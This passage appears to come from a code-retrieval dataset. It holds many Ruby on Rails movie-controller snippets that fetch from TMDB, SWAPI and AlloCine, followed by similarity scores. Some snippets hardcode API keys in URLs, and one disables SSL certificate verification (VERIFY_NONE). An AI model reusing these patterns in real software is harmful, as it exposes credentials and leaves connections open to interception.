# show.html.erb\n format.json { render json: @movie }\n end\n end", "def show\n @movie = Movie.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @movie }\n end\n end", "def index\n\t\t@movies = Movie.all\n\t\trespond_with @movies\n\tend", "def movie_data\n response = RestClient.get(\"critics.api.mks.io/movie-genres\")\n JSON.parse(response)\nend", "def show\n if @movie\n render json: { data: @movie }, status: 200\n end\n end", "def search_movie(title)\n headers = {\n accept: 'application/json',\n api_key: ENV['TMDB_API_KEY'],\n content_type: 'json',\n query: title,\n }\n\n response = RestClient.get \"https://api.themoviedb.org/3/search/movie/\", { params: headers }\n json_response = JSON.parse(response)\n\n return json_response\n end", "def show\n @movie = @category.movies.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @movie }\n end\n end", "def index\n page = 1\n request_url = MOVIE_DB_URL + \"&api_key=#{ENV[\"API_KEY\"]}\"\n request_url += \"&page=#{page}\"\n # if sort by release date\n # request_url += RELEASE_DATE_DESC_URL\n # if sort by title\n # request_url += RELEASE_DATE_DESC_URL;\n @movies = Unirest.get(request_url).body[\"results\"]\n end", "def get_movies_from_api\n all_films = RestClient.get('http://www.swapi.co/api/films/')\n film_hash = JSON.parse(all_films) \nend", "def show\n movie = Movie.find(params[:id])\n if movie.nil?\n render json: {message: \"movie not found\"}, status: :ok\n else\n render json: movie, status: :ok, serializer: Movies::Show::MovieSerializer\n end\n end", "def control \n @movies = Movie.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @movies }\n end\n end", "def index\n respond_with Movie.all\n end", "def list\n movies = Movie.order(release_date: :desc)\n render :json => movies.to_json\n\tend", "def index\n @title = 'Homepage'\n @all_movies = Movie.all.order(:title)\n # @movies = @all_movies.page(params[:page]).per(10)\n @movies = @all_movies\n\n respond_to do |format|\n format.html\n format.json do\n render json: @movies.as_json(methods: %i[genre num_ratings stars], include:\n { category: { only: %i[id name] },\n ratings: { only: %i[id user_id movie_id stars] } },\n except: :category_id)\n end\n end\n end", "def show\n @classication = Classication.find(params[:id])\n @movies = @classication.movies\n\n respond_to do |format|\n format.html\n format.json {render :json => @classication}\n end\n end", "def show\n @movie_info = MovieInfo.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @movie_info }\n end\n end", "def index\n @movies = Movie.all\n @search = Movie.search(params[:search]) \n @movies = @search.all \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @movies }\n end\n end", "def index\n @movies = Movie.all\n\t# @alloCineJson = JSON.parse(open(\"http://api.allocine.fr/rest/v3/movielist?partner=YW5kcm9pZC12M3M&count=25&filter=nowshowing&order=toprank&format=json\").read)[\"feed\"]\n\t@alloCineJson = JSON.parse(open(\"http://api.allocine.fr/rest/v3/movielist?partner=YW5kcm9pZC12M3M&count=40&filter=nowshowing&order=toprank&format=json&profile=small\").read)[\"feed\"]\n\tresponse = {}\n\tmovies = []\n\t@alloCineJson[\"movie\"].each{ |mv|\n\t\tmovie=Movie.where(:alloCineCode => mv[\"code\"]).first\n\t\tif !movie\n\t\t\tmovie = Movie.create(:alloCineCode => mv[\"code\"], :title=>mv[\"title\"])\n\t\tend\n\t\tmovieHash = {}\n\t\tmovieHash[\"id\"] = movie.id\n\t\tmovieHash[\"code\"] = movie[\"title\"]\n\t\tmovieHash[\"code\"] = mv[\"title\"]\n\t\tmovieHash[\"title\"] = mv[\"title\"]\n\t\tmovieHash[\"poster\"] = mv[\"poster\"][\"href\"]\n\t\tmovies << movieHash\n\t}\n\tresponse[\"movies\"] = movies\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: response }\n end\n end", "def get_movies\n\t\t@movies = Movie.order(\"RANDOM()\").where(\"release_date > ?\", 3.years.ago).order('random()').joins(:critic_movies).group('movies.id').having(\"count(movie_id) >= #{CUTOFF}\")\n\t\t.limit(750).to_a\n\t\t@movies.each do | movie | \n\t\t\tmovie.title = movie.title.split.map(&:capitalize).join(' ')\n\t\tend\n\t\t@movies = @movies.to_a.map(&:serializable_hash).to_json\n\t\trender :json => @movies\n\tend", "def movie(id, details = nil)\n get(\"/catalog/titles/movies/#{id.to_s}#{details.nil? ? \"\" : \"/#{details}\"}\")\n end", "def show\n @movie = @catalogue.movies.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @movie }\n format.json { render :json => @movie }\n end\n end", "def show\n render json: [movie: @movie, review: @movie.ratings, avg_rating: @movie.avg_rating ]\n # render json: { movie: { name: 'IronMan' },\n # review: [{ rating: 4 }, coment: 'superhero movie'] }\n end", "def index\n @movies = Movie.all\n end", "def index\n @movies = Movie.all\n end", "def index\n @movies = Movie.all\n end", "def index\n @movies = Movie.all\n end", "def index\n @movies = Movie.all\n end", "def index\n @movies = Movie.all\n end", "def index\n @movies = Movie.all\n end", "def index\n @movies = Movie.all\n end", "def index\n @movies = Movie.all\n end", "def show\n\t\t@movie = Movie.find params[:id]\n\t\trespond_with @movie\n\tend", "def show\n @watched_movie = WatchedMovie.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @watched_movie }\n end\n end", "def show\n @movies = Genre.find(params[:id]).movies\n p @movies\n end", "def show\n @unseen_movie = UnseenMovie.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @unseen_movie }\n end\n end", "def index\n @movies = Movie.all \n end", "def index\n @movie = Movie.find(params[:movie_id])\n end", "def show\n respond_with Movie.search(params[:id])\n # respond_with movie: movie\n end", "def get_popular_movies\n\t\t\tmovies = Array.new\n\t\t\tname = \"TmdbService#GetPopularMovies\"\n\t\t\tpath = \"/3/movie/popular\"\n\t\t\tparams = {\n api_key: @key\n\t\t\t}\n\t\t\t@headers.merge('X-Service-Name' => name)\n\t\t\tbegin\n \traw_response = @conn.get(path, params, @headers)\n\t\t\trescue\n\t\t\t\t#do something exceptional\n\t\t\tend\n\t\t\tmovies = @data_mapper.list_of_movies(raw_response)\n\t\tend", "def movie\n @movie ||= parse_json\n end", "def show\n @bollywood_movie = BollywoodMovie.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @bollywood_movie }\n end\n end", "def show\n @cinemas_movie = CinemasMovie.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @cinemas_movie }\n end\n end", "def print_movies(films)\n # some iteration magic and puts out the movies in a nice list\n films.each do |film|\n response_string = RestClient.get(film)\n response_hash = JSON.parse(response_string)\n puts response_hash[\"title\"]\n end\nend", "def index\n @movies = current_user.movies.page(params[:page]).per(Movie::PER_PAGE)\n end", "def index\n movie_params = params[:movies] || {}\n if movie_params[:page].blank?\n movie_params[:page] = 0\n end\n\n @movies = Movie.search movie_params[:word], 0, EACH_LIMIT_WHEN_SEARCH do |response|\n @movies_count = response['numFound']\n end\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @movies }\n end\n end", "def movies\n @movies ||= parse_movie_infos\n end", "def index\n page_number = params[:page] && params[:page][:number] ? params[:page][:number] : Rails.configuration.default_page\n page_size = params[:page] && params[:page][:size]? params[:page][:size] : Rails.configuration.default_per_page\n @movies = Movie.includes(:actors).all.page(page_number).per(page_size)\n end", "def get_movies_by_film(title)\n all_movies = RestClient.get('http://www.swapi.co/api/films/')\n movies_hash = JSON.parse(all_movies)\n\n results = movies_hash[\"results\"].select {|movie| movie[\"title\"].downcase == title}\n # results is an array containing a hash\n\n if results[0].length > 0\n puts \"Title: #{results[0][\"title\"]}\"\n puts \"Director: #{results[0][\"director\"]}\"\n puts \"Release Date: #{results[0][\"release_date\"]}\"\n else\n puts \"Movie not found\"\n end\nend", "def get_movie (id)\n\t\taction = \"movie/\" + id\n\t\targument = \"&language=en-US\"\n\t\tresponse = call_api(action, argument)\n\t\tmovie = process_result(response)\n\tend", "def detail\n @movies = Movie.all\n render json: @movies , status: :ok, each_serializer: MovieDetailSerializer\n end", "def all_movies\n # in case the file is empty or missing, return an empty collection\n JSON.parse(File.read('data.json')) rescue []\nend", "def show\n @movie_list = MovieList.find(params[:id])\n @movies = Movie.search(params, current_user, @movie_list.movies)\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @movie_list }\n end\n end", "def get_all_single_critic_movies\n\t\treviews_array = []\n\t\tcritic_id = params[:id]\n\t\treviews = Critic.find(critic_id).critic_movies\n\t\treviews_array.push(reviews)\n\t\treviews = reviews_array.to_json\n\t\trender :json => reviews\n\tend", "def show\n @movie = Movie.find(params[:id])\n end", "def show\n @movie = Movie.find(params[:id])\n end", "def show\n @movie = Movie.find(params[:id])\n end", "def show\n @park = Park.find(params[:id])\n @movies = @park.movies\n @movie = Movie.find(params[:id])\n @movie_events = MovieEvent.where(park_id: params[:id], movie_id: params[:id])\n\n \n require 'uri'\n require 'net/http'\n\n url = URI(\"https://api.themoviedb.org/3/configuration?api_key=feb440596767b82e73112b66f54d1c4d\")\n\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Get.new(url)\n request.body = \"{}\"\n\n response = http.request(request)\n puts response.read_body\n end", "def show\n\t# require 'net/http'\n\trequire 'open-uri'\n\trequire 'json'\n\n @movie = Movie.find(params[:id])\n\tresponse = {}\n\t@alloCineJson = JSON.parse(open(\"http://api.allocine.fr/rest/v3/movie?partner=YW5kcm9pZC12M3M&format=json&filter=movie&profile=small&mediafmt=mp4&code=\"+ @movie.alloCineCode.to_s, :proxy => @@proxyUTC).read)[\"movie\"]\n\tresponse[\"title\"]=@alloCineJson[\"title\"]\n\tresponse[\"directors\"]=@alloCineJson[\"castingShort\"][\"directors\"]\n\tresponse[\"actors\"]=@alloCineJson[\"castingShort\"][\"actors\"]\n\tresponse[\"synopsisShort\"]=@alloCineJson[\"synopsisShort\"]\n\tresponse[\"releaseDate\"]=@alloCineJson[\"release\"][\"releaseDate\"]\n\tresponse[\"poster\"]=@alloCineJson[\"poster\"][\"href\"]\n\tresponse[\"runtime\"]=@alloCineJson[\"runtime\"]\n\t@trailerInfoJson = JSON.parse(open(\"http://api.allocine.fr/rest/v3/media?format=json&partner=aXBhZC12MQ&profile=small&mediafmt=mp4&code=\"+ @alloCineJson[\"trailer\"][\"code\"].to_s).read)[\"media\"]\n\tresponse[\"trailer\"]=@trailerInfoJson[\"rendition\"][0][\"href\"]\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: response }\n end\n end", "def show_character_movies(character)\n films = get_character_movies_from_api(character)\n #print_movies(films)\nend", "def index\n @movies = Movie.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @movies }\n end\n end", "def index\n @videos = Video.all\n render json: @videos\n end", "def film_api(url)\n film_response = RestClient.get(url)\n film_hash = JSON.parse(film_response)\nend", "def index\n @movies = current_user.movies\n end", "def index\n @movies = Movie.all.order('avg_rating DESC')\n # @movies.each do |movie|\n # movie.as_json.merge!(rating: movie.avg_rating)\n # end\n render json: @movies\n # render json: { movies: [{ name: 'IronMan' },\n # { name: 'hulk' },\n # { name: 'ironman2' },\n # { name: 'thor' },\n # { name: 'captain america' },\n # { name: 'avengers' }] }\n end", "def index\n @movies = PlatformMovie.current.sort { |a, b| b.meta_score <=> a.meta_score }.collect do |movie|\n {\n image_url: movie.movie.image_url,\n platform_link: movie.platform_link,\n platform: (movie.type == 'HboMovie') ? 'hbo' : 'Showtime',\n meta_score: movie.meta_score,\n youtube: movie.movie.youtube,\n title: movie.movie.title,\n summary: movie.movie.summary,\n rating: movie.movie.rating,\n year: movie.movie.year,\n created_at: movie.started\n }\n end\n end", "def show_character_movies(character)\n urls_of_films = get_character_movies_from_api(character)\n films_hash = add_film_urls(urls_of_films)\n parse_character_movies(films_hash)\nend", "def get_character_movies_from_api(character)\n #make the web request\n all_characters = RestClient.get('http://www.swapi.co/api/people/')\n character_hash = JSON.parse(all_characters)\n film_urls = get_film_urls(character_hash, character)\n\n parse_character_movies(parse_films(film_urls))\nend", "def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movie }\n end\n end", "def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movie }\n end\n end", "def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movie }\n end\n end", "def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movie }\n end\n end", "def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movie }\n end\n end", "def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movie }\n end\n end", "def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movie }\n end\n end", "def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movie }\n end\n end", "def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movie }\n end\n end", "def show\n @movie = Movie.find(params[:id])\n @movie.set_kind_of_movie\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @movie }\n end\n end", "def print_movies(films)\n list = films.map do |film|\n response_string = RestClient.get(film)\n response_hash = JSON.parse(response_string)\n response_hash[\"title\"]\n end\n puts list\n # some iteration magic and puts out the movies in a nice list\nend", "def show\n @movie = Movie.find(params[:id])\n @vote = Vote.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @movie }\n end\n end", "def index\n @reviews = Review.includes(:movie).order('created_at Desc').all\n render json: @reviews, include: [:movie]\n end", "def search\n @movies = Movie.includes(:reviews).where(\"title ILIKE ?\", \"%#{params[:title]}%\")\n @reviews = @movies.map do |movie|\n movie.reviews\n end\n @reviews.flatten!\n render json: { movies: @movies, reviews: @reviews }\n end", "def people\n Birdman::Requester.get(\"movies/#{id}/people\")\n end", "def show_character_movies(character)\n films_hash = get_character_movies_from_api(character)\n parse_character_movies(films_hash)\nend", "def show_character_movies(character)\n films_hash = get_character_movies_from_api(character) #returns films list/url\n parse_character_movies(films_hash)\nend", "def show\n @movie = Movie.find(params[:id])\n @serie = Serie.where(movie_id: @movie)\n end", "def index\n @actors_movies = ActorsMovie.all\n end", "def index\n @theatre_movies = TheatreMovie.all\n end", "def show_character_movies(character)\n films = get_character_movies_from_api(character)\n print_movies(films)\nend", "def show_character_movies(character)\n films = get_character_movies_from_api(character)\n print_movies(films)\n\n\n\nend", "def show\n id = params[:id]\n @movie = Movie.find(id)\n end", "def show\n id = params[:id]\n @movie = Movie.find(id)\n end", "def show\n @movie_item = MovieItem.find(params[:id])\n\t\tredirect_to root_path, :notice => \"You are not supposed to view this page.\"\n# respond_to do |format|\n# format.html # show.html.erb\n# format.json { render json: @movie_item }\n# end\n end" ]
[ "0.8228256", "0.74844414", "0.7479458", "0.7471823", "0.744568", "0.7354701", "0.7354701", "0.7354701", "0.7354701", "0.7354701", "0.7354701", "0.7343841", "0.7281429", "0.72150177", "0.7196884", "0.71509445", "0.7128497", "0.7031844", "0.70074904", "0.70027953", "0.6971893", "0.6959664", "0.69583005", "0.6926559", "0.68800354", "0.6855784", "0.6843914", "0.6833422", "0.6805658", "0.680224", "0.679964", "0.67903477", "0.67903477", "0.67903477", "0.67903477", "0.67903477", "0.67903477", "0.67903477", "0.67903477", "0.67903477", "0.6780173", "0.6774974", "0.6754829", "0.6751509", "0.6739771", "0.6710363", "0.6710031", "0.66840506", "0.66602445", "0.6659612", "0.66414094", "0.66401094", "0.65928626", "0.6572915", "0.6562077", "0.6554843", "0.65493244", "0.6512041", "0.651164", "0.6495253", "0.6480327", "0.64785516", "0.6460082", "0.6460082", "0.6460082", "0.64547074", "0.6452018", "0.64484304", "0.6446872", "0.6441463", "0.64258415", "0.6421855", "0.6404775", "0.6401566", "0.6395261", "0.6394247", "0.63878185", "0.63878185", "0.63878185", "0.63878185", "0.63878185", "0.63878185", "0.63878185", "0.63878185", "0.63878185", "0.63650507", "0.6363441", "0.63620013", "0.63604546", "0.6346827", "0.63185495", "0.6303312", "0.6302156", "0.6295695", "0.62856036", "0.6284537", "0.6278134", "0.6271756", "0.6266042", "0.6266042", "0.62638324" ]
0.0
-1
GET /movies/1 GET /movies/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def movies\n get('Movies')\n end", "def show\n @movie = Movie.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @movie }\n end\n end", "def show\n @movie = Movie.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @movie }\n end\n end", "def show\n @movie = Movie.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @movie }\n end\n end", "def show\n @movie = Movie.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @movie }\n end\n end", "def show\n @movie = Movie.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @movie }\n end\n end", "def show\n @movie = Movie.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @movie }\n end\n end", "def get_all_movies_for_actor(actor)\n url = \"http://movies.api.mks.io/movies\"\n response = RestClient.get(url, accept: 'application/json')\n\nend", "def index\n @movies = @category.movies.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @movies }\n end\n end", "def get_all_actors_for_movie(movie)\n url = \"http://movies.api.mks.io/actors\"\n response = RestClient.get(url, accept: 'application/json')\n\nend", "def show\n @movie = @category.movies.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @movie }\n end\n end", "def movie(id, details = nil)\n get(\"/catalog/titles/movies/#{id.to_s}#{details.nil? ? \"\" : \"/#{details}\"}\")\n end", "def index\n page = 1\n request_url = MOVIE_DB_URL + \"&api_key=#{ENV[\"API_KEY\"]}\"\n request_url += \"&page=#{page}\"\n # if sort by release date\n # request_url += RELEASE_DATE_DESC_URL\n # if sort by title\n # request_url += RELEASE_DATE_DESC_URL;\n @movies = Unirest.get(request_url).body[\"results\"]\n end", "def index\n\t\t@movies = Movie.all\n\t\trespond_with @movies\n\tend", "def show\n if @movie\n render json: { data: @movie }, status: 200\n end\n end", "def movie_data\n response = RestClient.get(\"critics.api.mks.io/movie-genres\")\n JSON.parse(response)\nend", "def search_movie(title)\n headers = {\n accept: 'application/json',\n api_key: ENV['TMDB_API_KEY'],\n content_type: 'json',\n query: title,\n }\n\n response = RestClient.get \"https://api.themoviedb.org/3/search/movie/\", { params: headers }\n json_response = JSON.parse(response)\n\n return json_response\n end", "def show\n movie = Movie.find(params[:id])\n if movie.nil?\n render json: {message: \"movie not found\"}, status: :ok\n else\n render json: movie, status: :ok, serializer: Movies::Show::MovieSerializer\n end\n end", "def index\n @movie = Movie.find(params[:movie_id])\n end", "def pull_movies(options = {})\n response = HTTParty.get(build_url('movie', options), headers: HEADERS, debug_output: $stdout)\n JSON.parse(response.body)\n end", "def show\n @movie_info = MovieInfo.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @movie_info }\n end\n end", "def show\n\t\t@movie = Movie.find params[:id]\n\t\trespond_with @movie\n\tend", "def show\n @classication = Classication.find(params[:id])\n @movies = @classication.movies\n\n respond_to do |format|\n format.html\n format.json {render :json => @classication}\n end\n end", "def control \n @movies = Movie.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @movies }\n end\n end", "def show\n @watched_movie = WatchedMovie.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @watched_movie }\n end\n end", "def show\n @movie = @catalogue.movies.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @movie }\n format.json { render :json => @movie }\n end\n end", "def show\n @movies = Genre.find(params[:id]).movies\n p @movies\n end", "def show\n @unseen_movie = UnseenMovie.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @unseen_movie }\n end\n end", "def index\n @title = 'Homepage'\n @all_movies = Movie.all.order(:title)\n # @movies = @all_movies.page(params[:page]).per(10)\n @movies = @all_movies\n\n respond_to do |format|\n format.html\n format.json do\n render json: @movies.as_json(methods: %i[genre num_ratings stars], include:\n { category: { only: %i[id name] },\n ratings: { only: %i[id user_id movie_id stars] } },\n except: :category_id)\n end\n end\n end", "def get_movies_from_api\n all_films = RestClient.get('http://www.swapi.co/api/films/')\n film_hash = JSON.parse(all_films) \nend", "def show\n respond_with Movie.search(params[:id])\n # respond_with movie: movie\n end", "def show\n @movie = Movie.find(params[:id])\n end", "def show\n @movie = Movie.find(params[:id])\n end", "def show\n @movie = Movie.find(params[:id])\n end", "def index\n respond_with Movie.all\n end", "def show\n @bollywood_movie = BollywoodMovie.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @bollywood_movie }\n end\n end", "def list\n movies = Movie.order(release_date: :desc)\n render :json => movies.to_json\n\tend", "def print_movies(films)\n # some iteration magic and puts out the movies in a nice list\n films.each do |film|\n response_string = RestClient.get(film)\n response_hash = JSON.parse(response_string)\n puts response_hash[\"title\"]\n end\nend", "def show\n id = params[:id]\n @movie = Movie.find(id)\n end", "def show\n id = params[:id]\n @movie = Movie.find(id)\n end", "def index\n @movies = Movie.all\n end", "def index\n @movies = Movie.all\n end", "def index\n @movies = Movie.all\n end", "def index\n @movies = Movie.all\n end", "def index\n @movies = Movie.all\n end", "def index\n @movies = Movie.all\n end", "def index\n @movies = Movie.all\n end", "def index\n @movies = Movie.all\n end", "def index\n @movies = Movie.all\n end", "def index\n @movies = Movie.all \n end", "def index\n @movies = Movie.all\n @search = Movie.search(params[:search]) \n @movies = @search.all \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @movies }\n end\n end", "def get_movie (id)\n\t\taction = \"movie/\" + id\n\t\targument = \"&language=en-US\"\n\t\tresponse = call_api(action, argument)\n\t\tmovie = process_result(response)\n\tend", "def show\n @cinemas_movie = CinemasMovie.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @cinemas_movie }\n end\n end", "def index\n @movies = Movie.all\n\t# @alloCineJson = JSON.parse(open(\"http://api.allocine.fr/rest/v3/movielist?partner=YW5kcm9pZC12M3M&count=25&filter=nowshowing&order=toprank&format=json\").read)[\"feed\"]\n\t@alloCineJson = JSON.parse(open(\"http://api.allocine.fr/rest/v3/movielist?partner=YW5kcm9pZC12M3M&count=40&filter=nowshowing&order=toprank&format=json&profile=small\").read)[\"feed\"]\n\tresponse = {}\n\tmovies = []\n\t@alloCineJson[\"movie\"].each{ |mv|\n\t\tmovie=Movie.where(:alloCineCode => mv[\"code\"]).first\n\t\tif !movie\n\t\t\tmovie = Movie.create(:alloCineCode => mv[\"code\"], :title=>mv[\"title\"])\n\t\tend\n\t\tmovieHash = {}\n\t\tmovieHash[\"id\"] = movie.id\n\t\tmovieHash[\"code\"] = movie[\"title\"]\n\t\tmovieHash[\"code\"] = mv[\"title\"]\n\t\tmovieHash[\"title\"] = mv[\"title\"]\n\t\tmovieHash[\"poster\"] = mv[\"poster\"][\"href\"]\n\t\tmovies << movieHash\n\t}\n\tresponse[\"movies\"] = movies\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: response }\n end\n end", "def movie\n Movie.find_by(:id => movie_id)\n end", "def show\n render json: [movie: @movie, review: @movie.ratings, avg_rating: @movie.avg_rating ]\n # render json: { movie: { name: 'IronMan' },\n # review: [{ rating: 4 }, coment: 'superhero movie'] }\n end", "def get_movies_by_film(title)\n all_movies = RestClient.get('http://www.swapi.co/api/films/')\n movies_hash = JSON.parse(all_movies)\n\n results = movies_hash[\"results\"].select {|movie| movie[\"title\"].downcase == title}\n # results is an array containing a hash\n\n if results[0].length > 0\n puts \"Title: #{results[0][\"title\"]}\"\n puts \"Director: #{results[0][\"director\"]}\"\n puts \"Release Date: #{results[0][\"release_date\"]}\"\n else\n puts \"Movie not found\"\n end\nend", "def get_all_single_critic_movies\n\t\treviews_array = []\n\t\tcritic_id = params[:id]\n\t\treviews = Critic.find(critic_id).critic_movies\n\t\treviews_array.push(reviews)\n\t\treviews = reviews_array.to_json\n\t\trender :json => reviews\n\tend", "def detail\n @movies = Movie.all\n render json: @movies , status: :ok, each_serializer: MovieDetailSerializer\n end", "def show\n #render json: params\n #@movie = Movie.find(params[:id])\n render html:'ciao io sono index'+@movie.to_s\n #render json: @movie\n end", "def get_movies\n\t\t@movies = Movie.order(\"RANDOM()\").where(\"release_date > ?\", 3.years.ago).order('random()').joins(:critic_movies).group('movies.id').having(\"count(movie_id) >= #{CUTOFF}\")\n\t\t.limit(750).to_a\n\t\t@movies.each do | movie | \n\t\t\tmovie.title = movie.title.split.map(&:capitalize).join(' ')\n\t\tend\n\t\t@movies = @movies.to_a.map(&:serializable_hash).to_json\n\t\trender :json => @movies\n\tend", "def callAPI(name)\n unless name.nil?\n # I chose to use the title_popular option over the title_exact option since\n # we don't know the full title and over the title_substring since it seemed\n # to return videos related to our search term instead of movies\n json = JSON.parse(open(\"http://www.imdb.com/xml/find?json=1&nr=1&tt=on&q=#{name}\") { |x| x.read })\n # Should do more date validation but I will assume it's always the first 4 characters\n return \"Title: \" + json[\"title_popular\"][0][\"title\"] + \"\\nYear: \" + json[\"title_popular\"][0][\"title_description\"][0..3] unless json[\"title_popular\"].nil?\n \"No movie with the specified title\"\n else\n \"Please specify a movie title\"\n end\nend", "def movie\n @movie ||= parse_json\n end", "def show\n @movie = Movie.find(params[:id])\n @vote = Vote.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @movie }\n end\n end", "def show\n @imdb_movie = Movie.find(params[:id])\n end", "def show\n @movie = Movie.find(params[:id])\n @serie = Serie.where(movie_id: @movie)\n end", "def show\n @movie = Movie.find(params[:id])\n @movie.set_kind_of_movie\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @movie }\n end\n end", "def show\n\t# require 'net/http'\n\trequire 'open-uri'\n\trequire 'json'\n\n @movie = Movie.find(params[:id])\n\tresponse = {}\n\t@alloCineJson = JSON.parse(open(\"http://api.allocine.fr/rest/v3/movie?partner=YW5kcm9pZC12M3M&format=json&filter=movie&profile=small&mediafmt=mp4&code=\"+ @movie.alloCineCode.to_s, :proxy => @@proxyUTC).read)[\"movie\"]\n\tresponse[\"title\"]=@alloCineJson[\"title\"]\n\tresponse[\"directors\"]=@alloCineJson[\"castingShort\"][\"directors\"]\n\tresponse[\"actors\"]=@alloCineJson[\"castingShort\"][\"actors\"]\n\tresponse[\"synopsisShort\"]=@alloCineJson[\"synopsisShort\"]\n\tresponse[\"releaseDate\"]=@alloCineJson[\"release\"][\"releaseDate\"]\n\tresponse[\"poster\"]=@alloCineJson[\"poster\"][\"href\"]\n\tresponse[\"runtime\"]=@alloCineJson[\"runtime\"]\n\t@trailerInfoJson = JSON.parse(open(\"http://api.allocine.fr/rest/v3/media?format=json&partner=aXBhZC12MQ&profile=small&mediafmt=mp4&code=\"+ @alloCineJson[\"trailer\"][\"code\"].to_s).read)[\"media\"]\n\tresponse[\"trailer\"]=@trailerInfoJson[\"rendition\"][0][\"href\"]\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: response }\n end\n end", "def get_first_movies\n\t\t@movies = Movie.where(\"release_date > ?\", 3.years.ago).order('random()').joins(:critic_movies).group('movies.id').having(\"count(movie_id) > #{CUTOFF}\")\n\t\t.limit(1).to_a\n\t\t@movies.each do | movie | \n\t\t\tmovie.title = movie.title.split.map(&:capitalize).join(' ')\n\t\tend\n\t\t@movies = @movies.to_a.map(&:serializable_hash).to_json\n\t\trender :json => @movies\n\tend", "def index\n @movies = current_user.movies.page(params[:page]).per(Movie::PER_PAGE)\n end", "def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movie }\n end\n end", "def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movie }\n end\n end", "def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movie }\n end\n end", "def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movie }\n end\n end", "def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movie }\n end\n end", "def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movie }\n end\n end", "def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movie }\n end\n end", "def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movie }\n end\n end", "def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movie }\n end\n end", "def show\n id = params[:id] # retrieve movie ID from URI route\n @movie = Movie.find(id) # look up movie by unique ID\n # will render app/views/movies/show.<extension> by default\n end", "def show\n id = params[:id] # retrieve movie ID from URI route\n @movie = Movie.find(id) # look up movie by unique ID\n # will render app/views/movies/show.<extension> by default\n end", "def show\n \t@movie = Tmdb::Movie.detail(params[:id])\n \t@images = Tmdb::Movie.images(params[:id])\n \t@cast = Tmdb::Movie.casts(params[:id])\n \t@trailers = Tmdb::Movie.trailers(params[:id])\n \t@similar_movies = Tmdb::Movie.similar_movies(params[:id])\n end", "def index\n @movies = Movie.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @movies }\n end\n end", "def show\n @movie_item = MovieItem.find(params[:id])\n\t\tredirect_to root_path, :notice => \"You are not supposed to view this page.\"\n# respond_to do |format|\n# format.html # 